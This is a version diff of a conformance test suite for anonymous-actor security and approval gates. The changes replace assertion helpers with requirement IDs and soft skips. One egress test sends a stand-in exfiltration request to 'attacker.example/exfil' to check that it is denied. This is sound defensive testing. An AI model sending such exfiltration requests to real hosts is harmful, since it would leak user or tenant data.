@openwop/openwop-conformance 1.163.0 → 2.0.0-rc.1

package/src/scenarios/anonymous-actor-default-deny.test.ts

@@ -24,13 +24,14 @@
 
 import { describe, it, expect } from 'vitest';
 import { behaviorGate } from '../lib/behavior-gate.js';
-import { driver } from '../lib/driver.js';
 import {
   isAnonymousActorAdvertised,
   anonDispatch,
   anonToolCatalog,
   readAnonymousActorCap,
 } from '../lib/anonymousActor.js';
+import { req } from '../lib/requirement-ids.js';
+import { softSkip } from '../lib/soft-skip.js';
 
 const PROFILE = 'openwop-anonymous-actor';
 
@@ -41,36 +42,36 @@ describe('anonymous-actor-default-deny (RFC 0132 §C.1)', () => {
   it('the anon tool catalog returns only the explicit surface grant — never a default baseline', async () => {
     if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
     const cat = await anonToolCatalog();
-    if (cat.status === 404 || cat.status === 405) return; // seam unwired — soft-skip
+    if (cat.status === 404 || cat.status === 405) return softSkip('blocked', 'precondition not met — `cat.status === 404 || cat.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
     expect(
       cat.status,
-      driver.describe('RFC 0132 §C.1', 'the anon tool-catalog read MUST resolve (scoped to the anon principal)'),
+      req('openwop.it.anonymous-actor-default-deny.the-anon-tool-catalog-returns-only-the-explicit-surface-grant-never-a-default-ba', 'RFC 0132 §C.1', 'the anon tool-catalog read MUST resolve (scoped to the anon principal)'),
     ).toBe(200);
     // Default-deny: the ungranted baseline tool MUST NOT appear in the anon catalog.
     const names = cat.tools.map((t) => t.name);
     expect(
       names,
-      driver.describe('RFC 0132 §C.1', 'a default-on baseline tool MUST NOT appear in the anon grant'),
+      req('openwop.it.anonymous-actor-default-deny.the-anon-tool-catalog-returns-only-the-explicit-surface-grant-never-a-default-ba', 'RFC 0132 §C.1', 'a default-on baseline tool MUST NOT appear in the anon grant'),
     ).not.toContain(UNGRANTED_TOOL);
   });
 
   it('calling a non-granted tool denies with reason "anon-not-granted" and does not dispatch', async () => {
     if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
     const res = await anonDispatch({ tool: UNGRANTED_TOOL });
-    if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
+    if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
     const decided = res.json?.authorizationDecided?.payload;
     expect(
       decided?.allowed,
-      driver.describe('RFC 0132 §C.1', 'a non-granted anon tool MUST be denied (allowed:false), never default-allowed'),
+      req('openwop.it.anonymous-actor-default-deny.calling-a-non-granted-tool-denies-with-reason-anon-not-granted-and-does-not-disp', 'RFC 0132 §C.1', 'a non-granted anon tool MUST be denied (allowed:false), never default-allowed'),
     ).toBe(false);
     expect(
       decided?.reason,
-      driver.describe('RFC 0132 §C.1', 'a default-deny denial carries the machine reason "anon-not-granted"'),
+      req('openwop.it.anonymous-actor-default-deny.calling-a-non-granted-tool-denies-with-reason-anon-not-granted-and-does-not-disp', 'RFC 0132 §C.1', 'a default-deny denial carries the machine reason "anon-not-granted"'),
     ).toBe('anon-not-granted');
     // No dispatch — the seam MUST NOT return a tool result for a denied call.
     expect(
       res.json?.result,
-      driver.describe('RFC 0132 §C.1', 'a denied anon tool MUST NOT dispatch (no result)'),
+      req('openwop.it.anonymous-actor-default-deny.calling-a-non-granted-tool-denies-with-reason-anon-not-granted-and-does-not-disp', 'RFC 0132 §C.1', 'a denied anon tool MUST NOT dispatch (no result)'),
     ).toBeUndefined();
   });
 
@@ -80,7 +81,7 @@ describe('anonymous-actor-default-deny (RFC 0132 §C.1)', () => {
     if ((cap?.tiers ?? []).includes('bounded-write-egress')) {
       expect(
         (cap?.writeEgressControls ?? []).length,
-        driver.describe('RFC 0132 §B.2', 'bounded-write-egress MUST advertise ≥1 writeEgressControl'),
+        req('openwop.it.anonymous-actor-default-deny.a-host-that-advertises-bounded-write-egress-also-advertises-a-mandatory-control', 'RFC 0132 §B.2', 'bounded-write-egress MUST advertise ≥1 writeEgressControl'),
       ).toBeGreaterThan(0);
     }
   });

package/src/scenarios/anonymous-actor-egress-guarded.test.ts

@@ -21,8 +21,9 @@
 
 import { describe, it, expect } from 'vitest';
 import { behaviorGate } from '../lib/behavior-gate.js';
-import { driver } from '../lib/driver.js';
 import { readAnonymousActorCap, anonDispatch } from '../lib/anonymousActor.js';
+import { req } from '../lib/requirement-ids.js';
+import { softSkip } from '../lib/soft-skip.js';
 
 const PROFILE = 'openwop-anonymous-actor';
 
@@ -36,19 +37,19 @@ describe('anonymous-actor-egress-guarded (RFC 0132 §C.3)', () => {
       tool: 'http.fetch',
       destination: 'https://attacker.example/exfil',
     });
-    if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
+    if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
     const egress = res.json?.egressDecided;
     expect(
       egress,
-      driver.describe('RFC 0132 §C.3', 'an anon egress MUST ride the RFC 0079 egress-decision path'),
+      req('openwop.it.anonymous-actor-egress-guarded.an-out-of-audience-anon-egress-is-denied-downgraded-and-attaches-no-credential', 'RFC 0132 §C.3', 'an anon egress MUST ride the RFC 0079 egress-decision path'),
     ).toBeDefined();
     expect(
       ['denied', 'downgraded'],
-      driver.describe('RFC 0132 §C.3', 'an out-of-audience anon egress MUST be denied or downgraded — never allowed-with-credential'),
+      req('openwop.it.anonymous-actor-egress-guarded.an-out-of-audience-anon-egress-is-denied-downgraded-and-attaches-no-credential', 'RFC 0132 §C.3', 'an out-of-audience anon egress MUST be denied or downgraded — never allowed-with-credential'),
     ).toContain(egress?.decision);
     expect(
       egress?.credentialAttached === true,
-      driver.describe('SECURITY anon-actor-egress-ssrf-guarded', 'no tenant/host credential MUST attach out-of-audience'),
+      req('openwop.it.anonymous-actor-egress-guarded.an-out-of-audience-anon-egress-is-denied-downgraded-and-attaches-no-credential', 'SECURITY anon-actor-egress-ssrf-guarded', 'no tenant/host credential MUST attach out-of-audience'),
     ).toBe(false);
   });
 });

package/src/scenarios/anonymous-actor-no-secret-reach.test.ts

@@ -19,8 +19,9 @@
 
 import { describe, it, expect } from 'vitest';
 import { behaviorGate } from '../lib/behavior-gate.js';
-import { driver } from '../lib/driver.js';
 import { isAnonymousActorAdvertised, anonDispatch } from '../lib/anonymousActor.js';
+import { req } from '../lib/requirement-ids.js';
+import { softSkip } from '../lib/soft-skip.js';
 
 const PROFILE = 'openwop-anonymous-actor';
 
@@ -32,11 +33,11 @@ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
   it('a read-tier anon tool call never surfaces a planted BYOK canary', async () => {
     if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
     const res = await anonDispatch({ tool: 'catalog.read', args: { probeSecrets: true } });
-    if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
+    if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
     const serialized = JSON.stringify(res.json ?? {});
     expect(
       serialized.includes(BYOK_CANARY),
-      driver.describe('SECURITY anon-actor-no-secret-reach', 'an anon tool call MUST NOT surface secret/BYOK material'),
+      req('openwop.it.anonymous-actor-no-secret-reach.a-read-tier-anon-tool-call-never-surfaces-a-planted-byok-canary', 'SECURITY anon-actor-no-secret-reach', 'an anon tool call MUST NOT surface secret/BYOK material'),
     ).toBe(false);
   });
 
@@ -50,7 +51,7 @@ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
     // one non-conformant behavior is resolving/returning the caller's tenant.
     const CROSS = 'other-tenant';
     const res = await anonDispatch({ tool: 'catalog.read', args: { tenant: CROSS } });
-    if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
+    if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
     const decided = res.json?.authorizationDecided?.payload;
     const deniedByDecision = decided?.allowed === false;
     const deniedByStatus = res.status === 403 || res.status === 404;
@@ -61,7 +62,7 @@ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
       typeof resolvedTenant === 'string' && resolvedTenant.length > 0 && resolvedTenant !== CROSS;
     expect(
       deniedByDecision || deniedByStatus || neutralizedToSurface,
-      driver.describe(
+      req('openwop.it.anonymous-actor-no-secret-reach.a-cross-tenant-read-fails-closed-the-caller-supplied-tenant-is-never-resolved', 
         'SECURITY anon-actor-no-secret-reach (CTI-1 / RFC 0132 §A.2)',
         'a cross-tenant anon read MUST fail closed — denied, or the caller-supplied tenant ignored (never resolved to the caller’s tenant)',
       ),
@@ -71,7 +72,7 @@ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
     if (deniedByDecision || deniedByStatus) {
       expect(
         res.json?.result,
-        driver.describe('SECURITY anon-actor-no-secret-reach (CTI-1)', 'a denied cross-tenant anon read MUST NOT return data'),
+        req('openwop.it.anonymous-actor-no-secret-reach.a-cross-tenant-read-fails-closed-the-caller-supplied-tenant-is-never-resolved', 'SECURITY anon-actor-no-secret-reach (CTI-1)', 'a denied cross-tenant anon read MUST NOT return data'),
       ).toBeUndefined();
     }
   });

package/src/scenarios/anonymous-actor-shape.test.ts

@@ -34,9 +34,7 @@ import { join } from 'node:path';
 import Ajv2020 from 'ajv/dist/2020.js';
 import addFormats from 'ajv-formats';
 import { SCHEMAS_DIR } from '../lib/paths.js';
-
-/** Server-free assertion-message helper (mirrors driver.describe without OPENWOP_BASE_URL). */
-const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
+import { req } from '../lib/requirement-ids.js';
 
 function loadSchema(name: string): Record<string, unknown> {
   return JSON.parse(readFileSync(join(SCHEMAS_DIR, name), 'utf8')) as Record<string, unknown>;
@@ -50,12 +48,12 @@ describe('anonymous-actor-shape: capability advertisement (RFC 0132 §B, server-
   it('the capabilities schema declares anonymousActor with its sub-flags', () => {
     expect(
       anon,
-      why('capabilities.md §anonymousActor', 'capabilities.anonymousActor MUST be declared'),
+      req('openwop.it.anonymous-actor-shape.the-capabilities-schema-declares-anonymousactor-with-its-sub-flags', 'capabilities.md §anonymousActor', 'capabilities.anonymousActor MUST be declared'),
     ).toBeDefined();
     for (const flag of ['supported', 'tiers', 'writeEgressControls', 'failClosed']) {
       expect(
         anon?.properties?.[flag],
-        why('capabilities.md §anonymousActor', `anonymousActor.${flag} MUST be declared`),
+        req('openwop.it.anonymous-actor-shape.the-capabilities-schema-declares-anonymousactor-with-its-sub-flags', 'capabilities.md §anonymousActor', `anonymousActor.${flag} MUST be declared`),
       ).toBeDefined();
     }
   });
@@ -68,7 +66,7 @@ describe('anonymous-actor-shape: capability advertisement (RFC 0132 §B, server-
     // Positive — read-only tier.
     expect(
       validate({ supported: true, tiers: ['read'], failClosed: true }),
-      why('RFC 0132 §B', 'a conforming read-tier advert MUST validate'),
+      req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'a conforming read-tier advert MUST validate'),
     ).toBe(true);
     // Positive — bounded-write-egress tier with a mandatory control.
     expect(
@@ -78,33 +76,33 @@ describe('anonymous-actor-shape: capability advertisement (RFC 0132 §B, server-
         writeEgressControls: ['hitl'],
         failClosed: true,
       }),
-      why('RFC 0132 §B', 'a bounded-write-egress advert with a control MUST validate'),
+      req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'a bounded-write-egress advert with a control MUST validate'),
     ).toBe(true);
 
     // Negative — empty tiers (minItems: 1).
     expect(
       validate({ supported: true, tiers: [] }),
-      why('RFC 0132 §B', 'tiers: [] MUST be rejected (minItems)'),
+      req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'tiers: [] MUST be rejected (minItems)'),
     ).toBe(false);
     // Negative — write tier without a control (the §B.2 conditional-MUST).
     expect(
       validate({ supported: true, tiers: ['bounded-write-egress'] }),
-      why('RFC 0132 §B.2', 'bounded-write-egress without writeEgressControls MUST be rejected'),
+      req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B.2', 'bounded-write-egress without writeEgressControls MUST be rejected'),
     ).toBe(false);
     // Negative — controls advertised without the write tier (§B.2 else branch).
     expect(
       validate({ supported: true, tiers: ['read'], writeEgressControls: ['hitl'] }),
-      why('RFC 0132 §B.2', 'writeEgressControls without the write tier MUST be rejected'),
+      req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B.2', 'writeEgressControls without the write tier MUST be rejected'),
     ).toBe(false);
     // Negative — supported: false (the block is omitted when unsupported, const: true).
     expect(
       validate({ supported: false, tiers: ['read'] }),
-      why('RFC 0132 §B', 'supported: false MUST be rejected (const: true — omit the block instead)'),
+      req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'supported: false MUST be rejected (const: true — omit the block instead)'),
     ).toBe(false);
     // Negative — unknown property (additionalProperties: false).
     expect(
       validate({ supported: true, tiers: ['read'], surface: 'wgt_abc' }),
-      why('RFC 0132 §B', 'an unknown property MUST be rejected (additionalProperties: false)'),
+      req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'an unknown property MUST be rejected (additionalProperties: false)'),
     ).toBe(false);
   });
 });
@@ -122,16 +120,16 @@ describe('anonymous-actor-shape: owner.principalKind (RFC 0132 §A, server-free)
     const validate = ajv.compile(owner);
     expect(
       validate({ tenant: 'acme', principal: 'anon:sess-3f9c', principalKind: 'anonymous' }),
-      why('RFC 0132 §A', 'owner.principalKind "anonymous" MUST validate'),
+      req('openwop.it.anonymous-actor-shape.run-snapshot-owner-accepts-principalkind-anonymous-and-rejects-guest', 'RFC 0132 §A', 'owner.principalKind "anonymous" MUST validate'),
     ).toBe(true);
     // Absent principalKind is today's RFC 0048 behavior — still valid.
     expect(
       validate({ tenant: 'acme', principal: 'u_42' }),
-      why('RFC 0048', 'owner without principalKind MUST still validate'),
+      req('openwop.it.anonymous-actor-shape.run-snapshot-owner-accepts-principalkind-anonymous-and-rejects-guest', 'RFC 0048', 'owner without principalKind MUST still validate'),
     ).toBe(true);
     expect(
       validate({ tenant: 'acme', principalKind: 'guest' }),
-      why('RFC 0132 §A', 'owner.principalKind "guest" MUST be rejected (enum)'),
+      req('openwop.it.anonymous-actor-shape.run-snapshot-owner-accepts-principalkind-anonymous-and-rejects-guest', 'RFC 0132 §A', 'owner.principalKind "guest" MUST be rejected (enum)'),
     ).toBe(false);
   });
 });
@@ -145,7 +143,7 @@ describe('anonymous-actor-shape: audit reuses authorization.decided (RFC 0132 §
   const decided = ajv.getSchema('payloads#/$defs/authorizationDecided');
 
   it('a content-free anon grant + deny record validates against the existing $def', () => {
-    expect(decided, 'the authorizationDecided $def MUST exist (no new event minted)').toBeTruthy();
+    expect(decided, req('openwop.it.anonymous-actor-shape.a-content-free-anon-grant-deny-record-validates-against-the-existing-def', 'RFC 0132', 'the authorizationDecided $def MUST exist (no new event minted)')).toBeTruthy();
     // Grant — the §G positive example.
     expect(
       decided!({
@@ -155,7 +153,7 @@ describe('anonymous-actor-shape: audit reuses authorization.decided (RFC 0132 §
         allowed: true,
         reason: 'anon-granted',
       }),
-      why('RFC 0132 §D', 'a conforming anon grant record MUST validate'),
+      req('openwop.it.anonymous-actor-shape.a-content-free-anon-grant-deny-record-validates-against-the-existing-def', 'RFC 0132 §D', 'a conforming anon grant record MUST validate'),
     ).toBe(true);
     // Deny — a not-granted tool.
     expect(
@@ -166,13 +164,13 @@ describe('anonymous-actor-shape: audit reuses authorization.decided (RFC 0132 §
         allowed: false,
         reason: 'anon-not-granted',
       }),
-      why('RFC 0132 §D', 'a conforming anon deny record MUST validate'),
+      req('openwop.it.anonymous-actor-shape.a-content-free-anon-grant-deny-record-validates-against-the-existing-def', 'RFC 0132 §D', 'a conforming anon deny record MUST validate'),
     ).toBe(true);
   });
 
   it('authorization.decided is in the RunEventType enum (the reused audit event)', () => {
     const runEvent = loadSchema('run-event.schema.json');
     const enumVals = (runEvent.$defs as Record<string, { enum?: string[] }>).RunEventType?.enum ?? [];
-    expect(enumVals).toContain('authorization.decided');
+    expect(enumVals, req('openwop.it.anonymous-actor-shape.authorization-decided-is-in-the-runeventtype-enum-the-reused-audit-event', 'RFC 0132', 'authorization.decided is in the RunEventType enum (the reused audit event)')).toContain('authorization.decided');
   });
 });

package/src/scenarios/anonymous-actor-write-gated.test.ts

@@ -22,8 +22,9 @@
 
 import { describe, it, expect } from 'vitest';
 import { behaviorGate } from '../lib/behavior-gate.js';
-import { driver } from '../lib/driver.js';
 import { readAnonymousActorCap, anonDispatch } from '../lib/anonymousActor.js';
+import { req } from '../lib/requirement-ids.js';
+import { softSkip } from '../lib/soft-skip.js';
 
 const PROFILE = 'openwop-anonymous-actor';
 
@@ -34,7 +35,7 @@ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
     if (!behaviorGate(PROFILE, cap?.supported === true && supportsWrite)) return;
 
     const res = await anonDispatch({ tool: 'lead.capture', args: { email: 'visitor@example.com' } });
-    if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
+    if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
 
     const controls = cap?.writeEgressControls ?? [];
     const decided = res.json?.authorizationDecided?.payload;
@@ -44,11 +45,11 @@ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
       // With a HITL control the write MUST suspend on an approval interrupt before durable write.
       expect(
         suspended,
-        driver.describe('RFC 0132 §C.3 (hitl)', 'an anon bounded-write MUST suspend on an approval interrupt before the write'),
+        req('openwop.it.anonymous-actor-write-gated.an-anon-bounded-write-tool-is-gated-denied-when-ungated-or-suspends-on-an-approv', 'RFC 0132 §C.3 (hitl)', 'an anon bounded-write MUST suspend on an approval interrupt before the write'),
       ).toBe(true);
       expect(
         res.json?.result,
-        driver.describe('RFC 0132 §C.3 (hitl)', 'no durable write result before the approval resolves'),
+        req('openwop.it.anonymous-actor-write-gated.an-anon-bounded-write-tool-is-gated-denied-when-ungated-or-suspends-on-an-approv', 'RFC 0132 §C.3 (hitl)', 'no durable write result before the approval resolves'),
       ).toBeUndefined();
     } else {
       // With only a rate-limit/session-cap control, the seam surfaces a gate; an
@@ -56,7 +57,7 @@ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
       const gatedOrDenied = suspended || decided?.allowed === false || res.status === 429;
       expect(
         gatedOrDenied,
-        driver.describe('SECURITY anon-actor-write-egress-gated', 'an anon bounded-write MUST be gated — an ungated write MUST be denied'),
+        req('openwop.it.anonymous-actor-write-gated.an-anon-bounded-write-tool-is-gated-denied-when-ungated-or-suspends-on-an-approv', 'SECURITY anon-actor-write-egress-gated', 'an anon bounded-write MUST be gated — an ungated write MUST be denied'),
       ).toBe(true);
     }
   });
@@ -67,16 +68,16 @@ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
     if (!behaviorGate(PROFILE, cap?.supported === true && supportsWrite)) return;
     // Probe a surface deliberately configured with a write grant but no control.
     const res = await anonDispatch({ tool: 'lead.capture', surface: 'sample-uncontrolled-surface' });
-    if (res.status === 404 || res.status === 405) return; // seam unwired / surface absent — soft-skip
+    if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired / surface absent — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired / surface absent — soft-skip
     const decided = res.json?.authorizationDecided?.payload;
     expect(
       decided?.allowed === false || res.status === 403 || res.status === 429,
-      driver.describe('SECURITY anon-actor-write-egress-gated', 'an anon write with no resolvable control MUST be denied'),
+      req('openwop.it.anonymous-actor-write-gated.an-anon-write-with-no-resolvable-control-is-denied-with-a-machine-reason', 'SECURITY anon-actor-write-egress-gated', 'an anon write with no resolvable control MUST be denied'),
     ).toBe(true);
     if (decided && decided.allowed === false) {
       expect(
         decided.reason,
-        driver.describe('RFC 0132 §C.3', 'an ungated anon write denial carries a machine reason'),
+        req('openwop.it.anonymous-actor-write-gated.an-anon-write-with-no-resolvable-control-is-denied-with-a-machine-reason', 'RFC 0132 §C.3', 'an ungated anon write denial carries a machine reason'),
       ).toBe('anon-write-ungated');
     }
   });

package/src/scenarios/append-ordering.test.ts

@@ -18,6 +18,8 @@ import { describe, it, expect } from 'vitest';
 import { driver } from '../lib/driver.js';
 import { pollUntilTerminal } from '../lib/polling.js';
 import { isFixtureAdvertised } from '../lib/fixtures.js';
+import { req } from '../lib/requirement-ids.js';
+import { softSkip } from '../lib/soft-skip.js';
 
 const CANDIDATES = ['conformance-append-ordering', 'conformance-multi-node'] as const;
 const FIXTURE = CANDIDATES.find((id) => isFixtureAdvertised(id)) ?? null;
@@ -71,13 +73,13 @@ describe.skipIf(SKIP)('append-ordering: folded channel reflects event sequence',
       console.warn(
         '[append-ordering] fixture emitted no channel.written events; skipping ordering assertions',
       );
-      return;
+      return softSkip('blocked', 'precondition not met — `byChannel.size === 0` returned early ([append-ordering] fixture emitted no channel.written events; skipping ordering assertions) (seam, prior step, or fixture unavailable)');
     }
 
     // For each channel, sequence MUST be strictly increasing within the run.
     for (const [channel, writes] of byChannel) {
       for (let i = 1; i < writes.length; i++) {
-        expect(writes[i].sequence, driver.describe(
+        expect(writes[i].sequence, req('openwop.it.append-ordering.append-reducer-channels-project-entries-in-event-sequence-order', 
           'channels-and-reducers.md §"Append ordering"',
           `channel '${channel}': channel.written events MUST appear in sequence order in the event log`,
         )).toBeGreaterThan(writes[i - 1].sequence);
@@ -101,7 +103,7 @@ describe.skipIf(SKIP)('append-ordering: folded channel reflects event sequence',
       // Property: every cross-engine event carries BOTH sourceEngineId
       // AND sourceRunId (per channel-written-payload.schema.json).
       for (const e of crossEngineWrites) {
-        expect(typeof e.payload?.sourceRunId, driver.describe(
+        expect(typeof e.payload?.sourceRunId, req('openwop.it.append-ordering.append-reducer-channels-project-entries-in-event-sequence-order', 
           'channel-written-payload.schema.json',
           'cross-engine writes MUST carry sourceRunId alongside sourceEngineId',
         )).toBe('string');
@@ -110,7 +112,7 @@ describe.skipIf(SKIP)('append-ordering: folded channel reflects event sequence',
       const seen = new Set<string>();
       for (const e of allWrites) {
         const key = `${e.sequence}::${e.eventId ?? ''}`;
-        expect(seen.has(key), driver.describe(
+        expect(seen.has(key), req('openwop.it.append-ordering.append-reducer-channels-project-entries-in-event-sequence-order', 
           'channels-and-reducers.md §"Tie-breaking when sequences collide"',
           `(sequence, eventId) MUST be unique across the run — duplicate found: ${key}`,
         )).toBe(false);
@@ -125,7 +127,7 @@ describe.skipIf(SKIP)('append-ordering: folded channel reflects event sequence',
     for (const [channel, writes] of byChannel) {
       const projected = (channels as Record<string, unknown>)[channel];
       if (Array.isArray(projected)) {
-        expect(projected.length, driver.describe(
+        expect(projected.length, req('openwop.it.append-ordering.append-reducer-channels-project-entries-in-event-sequence-order', 
           'channels-and-reducers.md §"Append ordering"',
           `channel '${channel}': projected array length MUST equal #channel.written events`,
         )).toBe(writes.length);

package/src/scenarios/approval-gate-events.test.ts

@@ -22,6 +22,7 @@ import { readFileSync } from 'node:fs';
 import { join } from 'node:path';
 import Ajv2020 from 'ajv/dist/2020.js';
 import { SCHEMAS_DIR } from '../lib/paths.js';
+import { req } from '../lib/requirement-ids.js';
 
 interface PayloadsSchema {
   $schema: string;
@@ -41,7 +42,7 @@ describe('category: approval-gate governance events (RFC 0051 §B)', () => {
   it('approval.granted requires gateId + principal; quorumProgress optional', () => {
     const v = compile('approvalGranted');
     expect(v({ gateId: 'g1', principal: 'user_1' }), JSON.stringify(v.errors)).toBe(true);
-    expect(v({ gateId: 'g1', principal: 'user_1', quorumProgress: { granted: 1, required: 2 } })).toBe(true);
+    expect(v({ gateId: 'g1', principal: 'user_1', quorumProgress: { granted: 1, required: 2 } }), req('openwop.it.approval-gate-events.approval-granted-requires-gateid-principal-quorumprogress-optional', 'RFC 0051 §B', 'approval.granted requires gateId + principal; quorumProgress optional')).toBe(true);
     expect(v({ gateId: 'g1' })).toBe(false); // missing principal
     expect(v({ gateId: 'g1', principal: 'user_1', role: 'admin' })).toBe(false); // unknown prop
   });
@@ -49,13 +50,13 @@ describe('category: approval-gate governance events (RFC 0051 §B)', () => {
   it('approval.rejected requires gateId + principal; reason optional', () => {
     const v = compile('approvalRejected');
     expect(v({ gateId: 'g1', principal: 'user_1' }), JSON.stringify(v.errors)).toBe(true);
-    expect(v({ gateId: 'g1', principal: 'user_1', reason: 'incomplete' })).toBe(true);
+    expect(v({ gateId: 'g1', principal: 'user_1', reason: 'incomplete' }), req('openwop.it.approval-gate-events.approval-rejected-requires-gateid-principal-reason-optional', 'RFC 0051 §B', 'approval.rejected requires gateId + principal; reason optional')).toBe(true);
     expect(v({ principal: 'user_1' })).toBe(false); // missing gateId
   });
 
   it('approval.overridden requires gateId + principal + reason (audit breadcrumb)', () => {
     const v = compile('approvalOverridden');
     expect(v({ gateId: 'g1', principal: 'owner_1', reason: 'emergency publish' }), JSON.stringify(v.errors)).toBe(true);
-    expect(v({ gateId: 'g1', principal: 'owner_1' })).toBe(false); // reason MUST be present
+    expect(v({ gateId: 'g1', principal: 'owner_1' }), req('openwop.it.approval-gate-events.approval-overridden-requires-gateid-principal-reason-audit-breadcrumb', 'RFC 0051 §B', 'approval.overridden requires gateId + principal + reason (audit breadcrumb)')).toBe(false); // reason MUST be present
   });
 });

package/src/scenarios/approval-gate-flow.test.ts

@@ -24,6 +24,7 @@ import { describe, it, expect } from 'vitest';
 import { softSkip } from '../lib/soft-skip.js';
 import { driver } from '../lib/driver.js';
 import { readCapabilityFamily } from '../lib/discovery-capabilities.js';
+import { req } from '../lib/requirement-ids.js';
 
 async function authorizationSupported(): Promise<boolean> {
   // Root-first per RFC 0073 (`capabilities.authorization` is the deprecated wrapper shape).
@@ -42,7 +43,7 @@ describe('approval-gate-flow: role-gated, audited approval (RFC 0051 §A)', () =
     const body = res.json as { released?: boolean } | undefined;
     expect(
       body?.released,
-      driver.describe('RFC 0051 §A', 'an unauthorized principal MUST NOT release the gate (fail-closed)'),
+      req('openwop.it.approval-gate-flow.an-unauthorized-principal-does-not-release-the-gate-fail-closed', 'RFC 0051 §A', 'an unauthorized principal MUST NOT release the gate (fail-closed)'),
     ).toBe(false);
   });
 
@@ -57,11 +58,11 @@ describe('approval-gate-flow: role-gated, audited approval (RFC 0051 §A)', () =
     const body = res.json as { event?: { type?: string; payload?: { reason?: string } } } | undefined;
     expect(
       body?.event?.type,
-      driver.describe('RFC 0051 §B', 'taking the override path MUST emit approval.overridden'),
+      req('openwop.it.approval-gate-flow.the-override-path-emits-an-audited-approval-overridden-with-a-reason', 'RFC 0051 §B', 'taking the override path MUST emit approval.overridden'),
     ).toBe('approval.overridden');
     expect(
       typeof body?.event?.payload?.reason === 'string' && body.event.payload.reason.length > 0,
-      driver.describe('RFC 0051 §B', 'approval.overridden MUST carry a non-empty reason (the audit breadcrumb)'),
+      req('openwop.it.approval-gate-flow.the-override-path-emits-an-audited-approval-overridden-with-a-reason', 'RFC 0051 §B', 'approval.overridden MUST carry a non-empty reason (the audit breadcrumb)'),
     ).toBe(true);
   });
 });

package/src/scenarios/approval-payload.test.ts

@@ -43,6 +43,7 @@
 
 import { describe, it, expect } from 'vitest';
 import { driver } from '../lib/driver.js';
+import { req } from '../lib/requirement-ids.js';
 
 const CANONICAL_ACTIONS = ['accept', 'reject', 'refine', 'edit-accept', 'ask'] as const;
 const CANONICAL_EVENT_ACTIONS = ['accept', 'reject', 'refine', 'edit-accept', 'timeout'] as const;
@@ -73,7 +74,7 @@ describe('approval-payload: vocabulary discovery contract', () => {
     // is distinguishable from the canonical form.
     const legacyHits = text.match(/"edit"/g) ?? [];
 
-    expect(legacyHits.length, driver.describe(
+    expect(legacyHits.length, req('openwop.it.approval-payload.host-capability-declaration-does-not-regress-on-the-legacy-edit-form-7-drift-pin', 
       'interrupt.md §"`ApprovalResume`"',
       'capability declaration MUST NOT contain the legacy `"edit"` action token (use `"edit-accept"` per spec)',
     )).toBe(0);
@@ -84,7 +85,7 @@ describe('approval-payload: vocabulary discovery contract', () => {
     // accept/reject/refine/edit-accept/ask. Per-host advertisement is
     // optional; this test pins the vocabulary itself for future
     // scenarios that gate on it.
-    expect(CANONICAL_ACTIONS).toHaveLength(5);
+    expect(CANONICAL_ACTIONS, req('openwop.it.approval-payload.canonical-action-vocabulary-is-documented-in-spec-assertion-free-reference', 'capabilities.md', 'canonical action vocabulary is documented in spec (assertion-free reference)')).toHaveLength(5);
     expect(new Set(CANONICAL_ACTIONS)).toEqual(
       new Set(['accept', 'reject', 'refine', 'edit-accept', 'ask']),
     );
@@ -98,7 +99,7 @@ describe('approval-payload: vocabulary discovery contract', () => {
     // but isn't a resume action (clients can't submit a timeout).
     //
     // Pin this asymmetry so it doesn't drift.
-    expect(CANONICAL_EVENT_ACTIONS).toHaveLength(5);
